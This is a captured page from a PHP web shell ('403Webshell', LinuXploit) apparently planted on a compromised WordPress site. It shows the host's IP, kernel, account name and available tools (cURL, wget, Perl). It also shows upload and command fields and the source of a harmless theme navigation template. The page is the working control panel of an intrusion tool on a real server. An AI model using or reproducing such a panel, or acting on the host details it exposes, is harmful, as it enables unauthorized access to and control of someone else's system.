403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/zeuszamani.com/wp-content/themes/scena/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/zeuszamani.com/wp-content/themes/scena/template-parts/navigation.php
<?php

if ( ! is_singular( 'post' ) && ! is_singular( 'project' ) ) {
	return;
}

$subtitle    = get_theme_mod( 'navigation_subtitle', esc_html__( 'Next Up', 'themerain' ) );
$post_type   = get_post_type();
$unique_page = themerain_meta( 'project_unique_page' );
$IDs         = array();

$args = array(
	'post_type'      => $post_type,
	'posts_per_page' => -1
);

if ( 'project' === $post_type ) {
	$args['meta_query'] = array(
		array(
			'key'   => 'themerain_project_link_type',
			'value' => 'default'
		)
	);

	if ( $unique_page ) {
		$args['meta_query'][] = array(
			'key'   => 'themerain_project_unique_page',
			'value' => $unique_page
		);
	}
}

$query = new WP_Query( $args );

while ( $query->have_posts() ) : $query->the_post();
	array_push( $IDs, $post->ID);
endwhile;

wp_reset_postdata();

$current = array_search( get_the_ID(), $IDs );

if ( $current + 1 < sizeof( $IDs ) ) {
	$nextID = $IDs[$current + 1];
}

if ( ! isset( $nextID ) ) {
	$nextID = $IDs[0];
}

?>

<nav class="entry-navigation <?php echo esc_attr( $post_type ); ?>">
	<?php if ( $subtitle ) { ?>
		<p><?php echo esc_html( $subtitle ); ?></p>
	<?php } ?>

	<a href="<?php echo esc_url( get_permalink( $nextID ) ); ?>">
		<?php echo wp_kses_post( get_the_title( $nextID ) ); ?>
	</a>
</nav>

Youez - 2016 - github.com/yon3zu
LinuXploit